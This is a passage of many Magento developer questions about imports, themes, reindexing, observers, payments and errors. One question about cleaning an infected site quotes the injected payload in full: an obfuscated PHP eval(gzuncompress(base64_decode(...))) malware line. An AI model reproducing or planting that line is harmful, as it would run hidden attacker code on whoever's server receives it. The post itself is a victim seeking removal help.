texts: Setting image, small_image, and thumbnail for media gallery imports

texts:
I have been faced with this dreaded issue that many have reported and failed to get working.

My goal is to add images to products by matching SKU with the file, which is basically $sku . ".jpg"

What I have done was imported a CSV using Magmi, all products were imported and I added images to each media gallery. The images, however, are all set to No Image in the admin panel. see screenshot http://screencloud.net/img/screenshots/b2b8cd4d67e82ff25c5e0ca8d34aef57.png

I created several scripts over the last few days in attempts to remedy the issue, however none of them have been successful. Here is my most recent script: script on gist

The images import fine, they are just not being set to thumbnail or small_image accordingly. I have even truncated the images in the database and physically removed the images to "start fresh" if you will.

I'm already 3 days into this issue and any help would be greatly appreciated, as none of the products show thumbnail or small_image on the frontend, nor the image base at this point.

I could set each image manually on each product, but on a database with 7000 products, it would take an insane amount of time to do each individually. I will also have to repeat this process when we do our next import of 200,000+ skus, so I need to get this working.


texts: How to customize css in pub/static folder. Automatically update old css in magento 2

texts:
I want to customize theme CSS which are in pub/static folder.

I have run all command like

php bin/Magento setup:static-content: deploy
Cache:clean
cache:flush

but not reflected changes. It loads automatically old CSS.


texts:
Could you please help me posting the following issue I have in Magento Community Edition 1.8.1:

"I have issues when exporting the Product Catalog in Community Edition 1.8.1, I have 100,000 items, and the error I get is this:

2014-10-08T18:00:09+00:00 ERR (3):
exception 'Exception' with message 'Notice: Undefined offset: 103041  in app/code/core/Mage/ImportExport/Model/Export/Entity/Product.php on line 875$
Stack trace:
#0 app/code/core/Mage/ImportExport/Model/Export/Entity/Product.php(875): mageCoreErrorHandler(8, 'Undefined offse...', '/var/inetpub-lo...', 875, Ar$
#1 app/code/core/Mage/ImportExport/Model/Export.php(150): Mage_ImportExport_Model_Export_Entity_Product->export()
#2 app/code/core/Mage/ImportExport/controllers/Adminhtml/ExportController.php(86): Mage_ImportExport_Model_Export->export()
#3 app/code/core/Mage/Core/Controller/Varien/Action.php(418): Mage_ImportExport_Adminhtml_ExportController->exportAction()
#4 app/code/core/Mage/Core/Controller/Varien/Router/Standard.php(250): Mage_Core_Controller_Varien_Action->dispatch('export')
#5 app/code/core/Mage/Core/Controller/Varien/Front.php(172): Mage_Core_Controller_Varien_Router_Standard->match(Object(Mage_Core_Controller_Request_$
#6 app/code/core/Mage/Core/Model/App.php(354): Mage_Core_Controller_Varien_Front->dispatch()
#7 app/Mage.php(684): Mage_Core_Model_App->run(Array)
#8 index.php(86): Mage::run('', 'store')
#9 {main}

Does anybody have a clue about this?


texts: which version of mysql is running on MAMP for Magento 2 installation?

texts:
I updated MAMP to version 4.2 which has Mysql version 5.6.35 however when going through the Magento 2 installation I get the following error

what version of mysql am I actually running? should I upgrade? thanks for the help


texts: Can you show customer group price value when product is oos Magento 2

texts:
I know we can set customer group price in product area. Just wanted to see if we can do that if one of the product goes out of stock.
Example I have a product a which cost 20 rrp and I set customer group price for 10 (only if customer group is = gold).
I can see this on frontend but when ever this product goes out of stock I see 20 even though I have set 10 for gold group.
Any help or advice will be nice


texts: how to optimize url_rewrite query in Magento 1.9

texts:
I am trying to optimize of website, currently my website is very slow it took almost 13 seconds in first load than it drop to 5 seconds , all images are optimized and css and js are merged.

Executed 199 queries in 3.1630139350891 seconds
Average query length: 0.015894542387382 seconds
Queries per second: 62.914676977038
Longest query length: 3.0591471195221

Longest query:

SELECT `main_table`.`entity_id`, main_table.`name`, main_table.`path`, `main_table`.`is_active`, `main_table`.`is_anchor`, `url_rewrite`.`request_path` FROM `mg_catalog_category_flat_store_5` AS `main_table`
 LEFT JOIN `mg_core_url_rewrite` AS `url_rewrite` ON url_rewrite.category_id=main_table.entity_id AND url_rewrite.is_system=1 AND url_rewrite.store_id = 5 AND url_rewrite.id_path LIKE 'category/%' WHERE (main_table.include_in_menu = '1') AND (main_table.is_active = '1') AND (main_table.path like '1/2/%') ORDER BY `main_table`.`position` ASC

135,305 rows approx are there in  core_url_rewrite table

On Home page swatches are enabled on some SE posts i found that some time swatches make website a bit slow but i don't want to disable them.


texts: Adding a Guest Login For Product Stock Alert

texts:
I am entirely new to Magento Development and I am attempting to add guest email signup ability to the Magento ProductAlert system. I have begun creating a module to extend the Mage_ProductAlert_AddController class and add functionality to the the stockAction function.

I have been looking at the Newsletter SubscriberController.php controller for inspiration on how to approach this issue while providing Zend_Validate, etc.

I have also created an email column within my product_alert_stock table.

I am now at a loss as to how to approach the rest of building out my module.


texts:
So i have a custom theme on magento 2.1 and im trying to install Greek as a second language on it. So i found this. http://107.170.242.99/download.php
And it declares that i have to do this :
"Download file corresponding to your language. It is a single file, that contains translations and module context. Easiest to download it to your installation root directory. Now run the following command:

bin/magento i18n:pack -m replace -d source_[lang_code].csv langpack [lang_code]

where [lang_code] is language code like pl_PL.
As a result, a directory langpack will be created that contains proper structure of language files for your installation. Copy it over to your Magento installation and the translations should be visible. If not, run the following commands to clear cache:

php bin/magento setup:static-content:deploy [lang_code]
php bin/magento indexer:reindex
php bin/magento cache:clean
php bin/magento cache:flush

Note: additional directory i18n contains strings for which the module could not be found in your installation. This file can be skipped."

the problem is when i try this command via ssh "bin/magento i18n:pack -m replace -d source_[lang_code].csv langpack [lang_code] " i get this answer from the server. [RuntimeException] Not enough arguments. Anyone care to help?

Thanks in advance


texts:
The following is the output I get from running a full reindex via SSH:

Product Attributes index was rebuilt successfully in 00:00:07
Product Prices index was rebuilt successfully in 00:00:05
Catalog URL Rewrites index was rebuilt successfully in 00:00:45
Product Flat Data index was rebuilt successfully in 00:00:33
Category Flat Data index was rebuilt successfully in 00:00:00
Category Products index was rebuilt successfully in 00:00:02
Catalog Search Index index was rebuilt successfully in 00:01:13
Stock Status index was rebuilt successfully in 00:00:00
Tag Aggregation Data index was rebuilt successfully in 00:00:00
tugasunw@serv01 [~/public_html]#

My current server configuration is as follows:

Siteground Shared Cloud Server
4 x 3.0 GHz CPU Cores
CentOS
8GB RAM
80GB SSD

My current Magento store configuration includes the following:

Magento CE 1.9.2.x
1 installation, 5 domains, 5 stores/store-views, 1 shared cart
5414 Total Product Records
3468 of 5414 are Currently Enabled Products
505 of 3468 are catalog/search for display
Flat Catalog is ENABLED

My current SQL table statuses are as follows:

core_url_rewrite - 94,752 rows - 50MiB
ALL catalog_product_flat (1-5) - ~3379 rows - 5.1 MiB

I can provide more info if needed.

I'm looking to optimize my database, and hopefully reduce the time it takes for these reindexing processes. The website gets a fair amount of traffic, our main brand has had over 8k sessions the past 30 days. I'm not against beefing up the specs on the "shared" server, but VPS is too expensive right now.

Any information or advice is greatly appreciated!


texts: Customer is not displaying Magento dashboard

texts:
I have created a new customer using the API

http://{{doman_name}}/index.php/rest/V1/customers

When i can the login API, a token is returning .It means the customer is active.

http://{{doman_name}}/index.php/rest/V1/integration/customer/token

But the problem is,I can't see the customer in the admin dashboard.


texts:
I've been trying to find details about the Admin - order - reorder function in Magento 1 but there seems very little if any information.
Even the Magento 1 user guide doesn't mention it!
I only want to find out the proper use of it as one of our admin staff struggled to get it to work.
Any help would be much appreciated
Thank you
Andy


texts: Order information are not displaying in the admin Panel of magento 1.9

texts:
I am not seeing any order on my order menu. It is showing a blank white screen. Please tell me a suitable solution to resolve this error.
Thank You


texts:
I read so many questions/answers on stack overflow but no one give the answer which I want to require.

Here is the my result query. I have required result of sort by price low-> high but it gives me a result that starts with records that have the price 0. This is correct, but I don't want the 0 price records first. Result should start with prices greater than 0 and 0 price records should be displayed last.
Please help me to solve my this query.

  For example, the result should start start with price 125.0, 125.0 ... 0, 0


texts:
After Install Magento I can see TABLE in database like:

admin_assert
admin_role
admin_rule
admin_user

For example, I has new CREATE TABLE as listed below, how could I point Magento to READ this new TABLES and leave the old one.

myshopadmin_assert
myshopadmin_role
myshopadmin_rule
myshopadmin_user

note: all tables I create with new name, that means i have 2 same table with different name, and old table with no data table.

Thanks in advance.


texts:
I am new to Magento.

I have create one dummy page in Magento, when I display this page images are not showing.

But this code works in an .html file. Could you tell me where I went wrong?

public function indexAction()
    {
        echo '';
        echo '';
        echo '<title>Simplest jQuery Slideshow</title>';
        echo '';
        echo '';
        echo '';
        echo '

';
        echo '

        ';
    }


texts: magento 1.9.3.4 doesn't load CSS and JS on frontend

texts:
I am running Magento 1.9.3.4 new install on a HP 9400 server with Quad Core AMD 2380x8, 32Mb RAM with ubuntu-server 14.04 and Webmin/Virtualmin Pro Panel

I have 3 stores that load dynamically by https://nilandtrading.com/fishing store1 or store2 or store3 etc. Store1 and store3 load OK but store2 (fishing) will not load any CSS or JS. I have tried the URL on 3 different browsers (No I.E. as I don't do windows), with the same result.

Inspecting with Console I get countless errors like "Failed to load resource: the server responded with a status of 404 (Not Found)" and "Uncaught ReferenceError: Mage is not defined" and GET errors for the JS scripts.

None or the other stores show errors, since each store is using the same index.php and the rest of Magento I don't get why 2 stores work and one won't. I have shut down redis cache and any file and Database cache. Must have cleared them a 100 times now. I have been searching for an answer for a week now and just don't know anything else to do other then starting over. For give me not listing the steps I have done as they are too numerous to list here. Perhaps some one could give me a lead where to go next?


texts: Home Page Catalog Products List Links Issue

texts:
I have added the Home Page Catalog Products List in my home page using the following block xml code

<reference name="content">
<block type="catalog/product_list" template="catalog/product/list.phtml">
</block>
</reference>

Here is the front end link: http://70.35.196.150/

In this product list, it was divided into 2 parts. 1st part is "RECOMMENDED FOR YOU" section will scroll.. Those product links are working fine.
2nd part is some grid view.. Those links are not getting properly..

Here is the reference link: http://70.35.196.150//root-catalog/jain-irrigation-octa-bubbler-10-gph-flow-control-device-red-8-bag.html

See in this links there was //root-catalog/ .. I hope this is problem with the link..

I tried and search for many possibilities but no use..

Thanks


texts: Magento Redirecting to Dashboard on Save in Back-End, Changes Lost

texts:
I have an intermittent issue that seems to happen across all of the Magento 2 sites I manage where if I'm working in the back-end and I save something (could be a content block, category, product, etc), from time to time it will redirect me to the dashboard and I'll lose all of the work I was saving. This happens to me almost once a day, and it often times happens soon after logging in so I don't know how it could be cookie related (since our cookie lifetime is set to one hour). Has anyone else run into this issue? As you can image, it's terribly frustrating, and it's gotten to the point where I select and copy all content I've edited before clicking save so that I can paste it in, if the save action doesn't work.

Any suggestions on what to look at?


texts:
When I'm clicking the "update cart"-button on the configure cart item page, the quantity of the item is added instead of update. For example: if I've got 2 apples in my cart and enter as new quantity 3, then the cart is update to 5 apples instead of 3.

This is the code of my updatecart.phtml:

<?php $_product = $this->getProduct(); ?>
<?php $buttonTitle = $this->__('Update Cart'); ?>
<?php if ($_product->isSaleable()): ?>

        <?php if (!$_product->isGrouped()): ?>
        <?php echo $this->__('Qty:') ?>
        <input type="text" name="qty" id="qty" maxlength="12" value="<?php echo $this->getProductDefaultQty() * 1 ?>" title="<?php echo $this->__('Qty') ?>" class="input-text qty" />
        <?php endif; ?>
        <button type="button" title="<?php echo $buttonTitle ?>" class="button btn-cart" onclick="productAddToCartForm.submit(this)"><?php echo $buttonTitle ?></button>
        <?php echo $this->getChildHtml('', true, true) ?>

<?php endif; ?>


texts: how do i override template phtml file in magento1.9?

texts: I want to override (app/design/frontend/base/default/template/tax/checkout/grandtotal.phtml) this file as i have made some changes in grandtotal


texts: Importing changes made in a CSV back into Magento

texts:
My client used the export tool, made a bunch of changes, and then tried to import it...lo & behold errors everywhere. I didn't get a chance to lead him away from the import/export tools before he went down the road. He did all of this before telling me, so I need to figure out a way to take the data that he changed in the CSV file & import it successfully back into Magento.

Products have been added via the backend since the initial export of the file that all the changes are made in. Would that throw off anything if we did figure out a way to import this back in?

Or is there a way to take just the rows & columns from the CSV that he changed & import just that back in?


texts: Is it okay to use $this->helper(...) in phtml files?

texts:
A question on using $this->helper(...) in phtml files:

It returns something like this: ObjectManager->get(...) (Singleton)
I'm aware it's bad practice to use Object Manager phtml, but technically it's not using Object Manager directly.

Does this make it okay to use?
After doing some research I see:

Object manager should be used only in factories and then as injected in a constructor.
The advantage of using this is less code to write. But this does not make it OK.
The fact that this is still used in the core, is because it didn't get refactored yet. I hope it will be.

This is in response to using \Magento\Framework\App\ObjectManager::getInstance() specifically mind you. For $this->helper() it appears to be more unclear. Magento does still appear to use this in it's core.


texts: How to send mail when get events in observer?

texts:
I create adminhtml/events.xml and frontend/events.html with code content:

<?xml version="1.0" encoding="UTF-8"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Event/etc/events.xsd">
    <event name="adminhtml_customer_save_after">
        <observer name="send_member_information_update_mail" instance="TTV\Blog\Observer\SendMemberInformationUpdateMail " />
    </event>
</config>

I declare Observer/SendMemberInformationUpdateMail.php

namespace TTV\Blog\Observer;

use Magento\Framework\Event\Observer;
use Magento\Framework\Event\ObserverInterface;
use Psr\Log\LoggerInterface;

class SendMemberInformationUpdateMail implements ObserverInterface
{
    public function execute(\Magento\Framework\Event\Observer $observer)
    {
        var_dump("Save By Customer");die;
    }
}

Please tell me:
  +To take events customer edit information or admin edit customer's information, What events I need take? ex: adminhtml_customer_save_after for admin right or wrong?
  +How I can send mail to customer when customer or admin change customer's information?

Thank you !


texts: "Invalid Form Key, please refresh the page? " - addtocart

texts:
I am testing website deployed based on Magenta Template Framework, the problem that occurred is that the cart kept being empty even the add to cart link has been ran. And furthermore, i kept getting the error "invalid form key please refresh key".
Variable that has been extarcted, PHPSESID, Formkey and coded using cookie manager.

The error is still occuring.


texts: How to add .phtml file in another .phtml file in magento?

texts:
I want to show the contents file:

frontend\RWD\default\template\customer/address/edit.phtml

inside the file:

frontend\RWD\default\template\customer/account/dashboard.phtml.

I insert this code into the file dashboard.phtml

<? php
    $ block = Mage::app()->getLayout()->createBlock('core/template')
        ->setTemplate('customer/address/edit.phtml')
        ->toHtml();
    echo $ block;
?>


texts: Magento 2.1: Product date validation prevents saving "Make sure the To Date is later than or the same as the From Date."

texts:
Version: Magento 2.1

I cannot update or save a product due to this validation message:

  Make sure the To Date is later than or the same as the From Date.

I assume it is referring to "Set Product as New From" but it could also be " Schedule Design Update From"

I have tried many combinations of dates including no dates selected but always get the same result. This is not effecting other products.

I've traced the error message to this function in "vendor/magento/module-catalog/Model/Attribute/Backend/Startdate.php".

If I remove the content of the function and just return true the product can be saved but as soon as the function is replaced the error returns blocking any updates again

/**
 * Product from date attribute validate function.
 * In case invalid data throws exception.
 *
 * @param \Magento\Framework\DataObject $object
 * @throws \Magento\Eav\Model\Entity\Attribute\Exception
 * @return bool
 */
public function validate($object)
{

    $attr = $this->getAttribute();
    $maxDate = $attr->getMaxValue();
    $startDate = $this->_getValueForSave($object);
    if ($startDate === false) {
        return true;
    }

    if ($maxDate) {
        $date = $this->_date;
        $value = $date->timestamp($startDate);
        $maxValue = $date->timestamp($maxDate);

        if ($value > $maxValue) {
            $message = __('Make sure the To Date is later than or the same as the From Date.');
            $eavExc = new \Magento\Eav\Model\Entity\Attribute\Exception($message);
            $eavExc->setAttributeCode($attr->getName());
            throw $eavExc;
        }
    }
    return true;
}

I cannot be more specific about how to replicate this issue or why it's happening to this product. The obvious work around is to delete the product and re-enter it but I'd like to see if there's a reason this is happening.


texts: Custom Theme Extending Layout Declaring New Logo

texts:
So I have configured a new Magento 2 theme following this guide, everything works except my logo is still the default Magento logo.

I added a layout in my custom theme directory with an extension (default.xml) like so:

<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_configuration.xsd">
    <body>
        <referenceBlock name="logo">
            <arguments>
                <argument name="logo_file" xsi:type="string">images/rnj.png</argument>
            </arguments>
        </referenceBlock>
    </body>
</page>

But I get the default logo, although at a different path http://example.com/pub/static/frontend/MyTheme/default/en_US/images/logo.svg

So why am I still getting a logo.svg? Do I just delete it or have I done something wrong that makes it not overwrite the default logo?

I am in Magento ver. 2.1.1 because I had a lot of problems with custom themes in the latest version, which were apparently source code problems, so I moved to 2.1.1


texts: Magento 1.9.3.2 add purchase order number to order grid

texts:
I am using Magento 1.9.3.2 and I have got payment method to show along wits order sku's following:
https://www.atwix.com/magento/adding-sku-column-to-orders-grid/
But, I would also find it rather useful to have the purchase order number on the grid if the order was made using purchase order.
Would anyone know how l could add this field into my order grid ?
Still, looking to get this sorted and I have found this possible solution:
https://sarfarazlaghari.wordpress.com/2015/09/02/magento-adding-purchase-order-number-in-sales-order-grid/
Would this be a suitable solution or is there a better way?
Line 33 from the Atwix observer has this line:
 $select->joinLeft(array('payment' => $collection->getTable('sales/order_payment')), 'payment.parent_id=main_table.entity_id', array('payment_method' => 'method'));

If I change 'method' to 'po_number'  I can see the Purchase order numbers in payment method column in the grid.

My solution so far:
I have amended
app/code/local/Atwix/ExtendedGrid/Model/Observer.php on line 34 so now, the function looks as such:
 public function salesOrderGridCollectionLoadBefore($observer)
{
    $collection = $observer->getOrderGridCollection();
    $select = $collection->getSelect();
    $select->joinLeft(array('payment' => $collection getTable('sales/order_payment')),'payment.parent_id=main_table.entity_id',array('payment_method' =>'method', 'po_number' => 'po_number'));
    $select->join('sales_flat_order_item','`sales_flat_order_item`.order_id=`main_table`.entity_id',array('skus' => new Zend_Db_Expr('group_concat(`sales_flat_order_item`.sku SEPARATOR ", ")')));
    $select->group('main_table.entity_id');
}

Then I updated
app/design/adminhtml/default/default/layout/atwix/extendedgrid.xml by adding:
 <action method="addColumnAfter">
            <columnId>po_number</columnId>
            <arguments>
                <header>PO Number</header>
                <index>po_number</index>
                <filter_index>payment.po_number</filter_index>
                <type>text</type>
            </arguments>
            <after>payment_method</after>
 </action>


texts:
How to get wishlist product details on wishlist_product_add_after event in magento2.
Please suggest me.


texts: Magento 2: change product name in quote item via event observer

texts:
I am trying to change the product name in the quote item via the event observer.

I followed this guide but it does not work.

public function execute(\Magento\Framework\Event\Observer $observer)
 {
     $item = $observer->getEvent()->getQuoteItem();
     $item->setCustomPrice($price);
     $item->setOriginalCustomPrice($price);
      $item->setName('New Name');
      $item->getProduct()->setIsSuperMode(true);
}

The Event:

  app/code/Test/Module/etc/frontend/events.xml

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:noNamespaceSchemaLocation="urn:magento:framework:Event/etc/events.xsd">
    <event name="checkout_cart_product_add_after">
        <observer name="dome_cart" instance="Test\Module\Observer\Option\AddCustomdOptionsToCart"/>
    </event>
</config>


texts: I would like to know how to enlarge the images on the pages of products.


texts: How to hide bundle product price in magento 2.3.5

texts:
I want to hide bundle product price in magento 2.3.5. I want to hide price if product is bundle product.
If anyone can have idea then please share it.
Thank you in advance.


texts: Make custom payment using paypal without going through checkout process Magento 2

texts:
I have a out of the box requirement and I don't know where to start.So I was expecting if someone here could give a kickstart.

What I am trying to build?

I am trying to do the payment to paypal from the magento 2 store but without going through the checkout process.Like let's take an example "Customer needs to pay for registration or take subscription".For this we could take customer through whole checkout process.

What I understood in Magento?

The default payment could be made through checkout process.But we need to consider the subscription as a product. But In my case I can't create it as a product.

So what best way I could think of achieving this?

If I could create a custom module which pass the required information to paypal and receive the response from paypal I could successfully create a custom payment which we do normally on core when we need to create payment method.

What am I looking into?

I am studying how paypal is being implemented on projects done on core PHP, I am hoping I could get some idea from it.

What am I expecting from you?

I am expecting if someone with this kind of experience could show me the correct direction to follow, if there is any other better alternative. I am also confused how i can implement as a modular basis as in magento so if someone could provide some information on that too than that would be great.

I wish I could add some code snippets but it is the initial phase so I am trying to create a thought model and fix the approach that i should follow before starting to code.


texts: Why c is lowercase in controllers of Magento?

texts: Why is c lowercase in controllers folder name? Whereas Model, Block and Helper are starting with an uppercase letter?


texts: Why code migration tool is missing in magento 2?

texts:
Why code migration tool is missing here? -> https://github.com/magento/code-migration
Is there any code migration tool or process available?


texts:
I have a requirement where, I have huge custom data(around 5000) to display in a page. Currently, I have displayed them in a table and it takes time when I load the page. I want to save the collection in cache and retrieve data from cache. SO that it will load faster. Later on I want to implement filter on cached collection.

Anyone who can help me to implement cache in my requirement?


texts: Magento what is due amount, when it is generated or is it admin setting?

texts:
I have been working with Magento 1.9.x version for quite a long time.

But yet I have no idea when is the Total Due amount generated, is it generated after the Invoice is Paid ?

Please anyone provide full information on "Total Due" amount which is displayed in Order and why not displayed in Invoice and how to display it.


texts:
I am creating a custom Magento 2 module. In Wordpress/Shopify, when installing plugin/extension it shows the onboarding form where the merchant can fill in all the information used by the plugin to run. For example, my module needs to know the merchant's name, address, etc...
However, when installing a new module in Magento 2, I see no onboarding. And I don't know how to do it in Magento 2. The merchant can't use my module if they don't answer some questions :)
Could you show me how to do that in Magento 2?


texts: Magento 2.4.0 Send blank value of customer email ID. If email ID belongs to a specific domain

texts:
There are multiple APIs which will be sending customer email IDs. If I want to add some logic while sending a unique domain email ID in response. I would need to override multiple files and make the changes.
Instead that can I add this condition in any one place and whole Magento wherever it is fetching the customer email ID will get the blank value?
Solution I think:

As accounts gets created I will set email as blank via observer. But email is mandatory so there will be challenges. So instead changing in DB any common getter method I can make this change?


texts: How to remove malicious code from the each files of the website magento 2?

texts:
I am seeing some malicious code in the website. Each files of every folder is affected by this code. How to remove this code from the website?

Is any script to remove or replace this malicious code?

<?php eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));?>


texts: The images show on frontend pagespeed.ic._LOWhFVaw2.webp after image filename

texts:
For example the images address on frontend website show this:
https://takoda.shop/pub/media/logo/default/170xNxTakoda_met_Tijger_O_logo_kleuren_nieuw.png.pagespeed.ic._LOWhFVaw2.webp
It adds at the end: pagespeed.ic._LOWhFVaw2.webp
Never consciously changed anything by purpose
This causes possibly that some images on mobile view are not showing
Now also not in the browser look:

That is probably the reason

Only how to turn that off or fix this?

You find on google that it could be google pagespeed module, this module is not in the config.php file

Anyone got any clue what this could be and how to turn it off?

It can conflict with lazy load
The frontend is:
www.takoda.shop


texts:
I have recently migrated a site to Magento 2.

There i getting a strange issue with payment method.

I am using Payflow pro on website credit card payment method. Our store default currency is CAD and allowed currency is also CAD but when payment process it showing in USD in paypal manager.

I have tried to add currency directly in function this postRequest in file Magento\Paypal\Model\Payflow\Service\Gateway but no luck.

Any help is highly appreciated.


texts: Currency conversion from default currency(dollars) to the another currency(dhirams) is happening twice

texts:
When i convert currency from the default currency Dollars to another currency AED in currency converter and place an order and try to print the invoice PDF. In invoice it is showing the conversion rate correctly. but when i give print option the price which has already been converted from Dhiram to dollar is again converted into Dhiram.
    Currency conversion is happening twice in this case.

Conversion is correct but if i print the invoice .Price amount changes from 2271 AED to 8745 AED.


texts: I got this error in magento1.9?How to resolve it?

texts:
Class 'Mage_Adminhtml_Helper_Data' not found in

  C:\xampp\htdocs\abc\app\code\core\Mage\Core\Controller\Varien\Router\Admin.php

on line 123


texts: How to use concatenation in get attribute function magento

texts:
I am trying to change product price daily according to date
for this I create & fill 31 price type custom attribute like custom_price1 = 100, custom_price2 = 145, custom_price3 = 156
and trying to get custom_price attribute according to date & set respective price
like if date is 2 get custom_price2, if date is 3 get custom_price3

my code is

$currentdate =  Mage::getModel('core/date')->date('d');
$newprice = $_product->getCustomPrice . $currentdate();

but getting error

Fatal error: Call to undefined function 21() in ....\default\template\catalog\product\view.phtml on line 64

can anyone help me regarding this
Thanks in advance for help


texts: how to get html code in config values magento 2

texts: I have created a field in admin configuration .I want to use the value of the field.If the value of the field is test it displays test not as test.how can I get it ?


texts: Placing and order via API and payment processing

texts:
I'd like to create and place an order in Magento using API. I see that exists the method cart.create but I cannot understand what is the correct flow for using it.

The point I cannot figure out how to handle is the payment.

The following use case can work?

Create a cart using Magento API
Add products to cart using Magento API
Set customer, addresses, etc again using Magento API
Perform some kind of payment outside Magento
If payment is successful, call cart.create

Thanks


texts: Change attribute value on Associated Products if change on Configurable product

texts: I have a custom attribute who have two options Yes and No. I want if changing attribute value on Configurable Product also change in Associated Products.


texts:
Any one can help will be highly appriciated, i'm running magento 2.2.6

  Deprecated Functionality: The each() function is deprecated. This
  message will be suppressed on further calls in
  /home/cellbezc/public_html/vendor/colinmollenhour/cache-backend-file/File.php
  on line 81


texts: Parent/child relationship in custom module

texts:
I am adding a custom "category" model with children items in my module.

To add children I need to fetch collection from this "mycategories" module. How do I get a collection of categories when adding children items to show in a dropdown in the backend?

I tried using the model collection factory method:

$collection = $this->mymodulemodelFactory->create();

But I think it is for getting collection of the same model.

Note: By category and its children, i dont mean that they are Magento Catalog categories. They can be anything like Palettes and colors, Font family and fonts etc.


texts: Magento2 how to display only special price of product

texts: How to display only special price of product if it contains else it should not display


texts: Magento Store locator address not visible on iPhones - Why?

texts:
I am using Google store locator for my extension

but address not visible when click the locator icons on iPhones,
i don't know what caused this issue..

It is working fine when i tried with browserstack(ios), in mobile it does not.

Can anyone faced it already...Kindly give me the suggestion.
Help me StackExchange, you're my only hope!


texts: Retrieve simple product price for configurable product

texts:
We have a configurable product called with sku TEST and under it are simple products (for example) red-ven1, red-ven2, blue-ven3, etc. The configurable product itself does not have a price but each simple product does. I need to retrieve the price for the simple product based on the attributes that are selected. So I need the price for red product with vendor 2. How do I get this specific price? I am currently trying to dynamically display the price next to the vendor attribute (so vendor attribute is not selected). Will I have to "invisibly" select the vendor attribute value to get the price? Please advise.

Currently Trying:

<?php $_product    = $this->getProduct(); ?>
<?php $_price = $_taxHelper->getPrice($_product, $_product->getPrice()) ?>


texts: Magento 2: How to add a custom attribute column to the child products grid view in configurable product in backend

texts:
I need to add a custom attribute column to the child products grid view in configurable products in backend.

My initial findings:
 Added 2 custom attributes(similar to the sku) to the products and give corresponding values to that.

By editing the below file:

vendor/magento/module-configurable-product/Ui/DataProvider/Product/Form/Modifier/ConfigurablePanel.php

//Added 2 line code to the below function, able to add 2 columns in the grid.

protected function getRows()
{

'oem_sku_container' => $this->getColumn('oem_sku', __('OEM_SKU')),

'internal_sku_container' => $this->getColumn('internal_sku', __('INTERNAL_SKU')),

}

But I didn't get any values of that custom attributes in the column.
There is any way to get the value?


texts: Magento admin save product fails if description has html tags

texts:
If I add any html-tags to my product description, short description or CMS Static block and click save it fails and no data is saved. It makes no difference if I enter the html-tags myself or do everything through the WYSIWYG editor. (I have enabled WYSIWYG for description/short description)
Example:
Edit description:

Hello

World

Click Save-> (For product I am redirected to dashboard. For CMS block I get a 403.)
Nothing saved.

If I avoid any html tags then the item is saved and all works well.

This issue is still happening and there is an additional report here which also sadly has been closed:
https://magento.stackexchange.com/questions/80195/no-permissions-to-create-a-cms-block-in-backend


texts:
I just want page which is similar shopping cart page  in which user can't proceed to checkout. Instead of checkout i will create request for quote for product selected item i.e submitted by user from product view page.

If anyone give me idea of how to set data i into new page similar to shopping cart,Then i will create request for quote on that page.

Updated

I have create one extra button on product view page i.e request for quote.
This will submit the data in my custom controller but i am getting empty array.
If i will get the selected product option in array, then i will set it to my custom tables.


texts: Magento 2 - When to use the parameter `@_prefix: 1` when calling mixin .lib-css()?

texts:
I wonder when I need to use the parameter @_prefix: 1 with .lib-css()

I always use it with the css transform property

.lib-css(transform, scale(0.65), @_prefix: 1);

so that it generates this code:

-webkit-transform: scale(1);
-moz-transform: scale(1);
-ms-transform: scale(1);
transform: scale(1);

How can I easily figure out if I should use @_prefix: 1?

I think I only use it for new special properties but not for default ones like "padding".


texts:
I am trying to show another image on the product listing page, I have located the code at: Magento_Catalog/templates/product/image_with_borders.phtml

On the product image section in admin I have selected another image and applied a custom role i.e. (Plp Hover)

How can I display this image in the file above? I've tried the below with no luck

<?php echo $block->getImageUrl('plp_hover'); ?>
<?php echo $block->getMediaGalleryImages('plp_hover') ?>

Any help would be appreciated


texts: getting these console errors and really have no idea to solve it

texts:
Uncaught TypeError: this.toggleElements.toggleSingle is not a function

at Object.match (app.js:1004)
at QueryHandler.on (enquire.js:100)
at enquire.js:214
at each (enquire.js:38)
at MediaQuery.assess (enquire.js:213)
at MediaQueryList.MediaQuery.listener (enquire.js:150)

Edit:

i have added this script in app.js and these errors are not showing but now i am facing this Uncaught SyntaxError: Unexpected token ) app.js:1011 after changing code at app.js:1004

match: function () {
    if(this.toggleElements.length > 0){
        this.toggleElements.toggleSingle();
    }
},
unmatch: function () {
    if(this.toggleElements.length > 0){
        this.toggleElements.toggleSingle({destruct: true});
        }
    });

My noconflict.js already contain $


texts: In Magento Add Subcategories Link not working

texts: When  I am going to add subcategories in magento then new subcategories field not getting here is the error after clicking on add subcategories link.


texts: Algolia Search multi language store in Magento 2

texts:
How to use algolia search for multi language store in magento 2.
when i search in arabic it will give me search result.


texts:
I was installing some module and found that there are some test class that extend Scenario :

<?php
namespace Aheadworks\SocialLogin\Test\TestCase;

use Magento\Mtf\TestCase\Scenario;

/**
 * Preconditions:
 * 1. @TODO
 *
 * Steps:
 * 1. Set login block settings
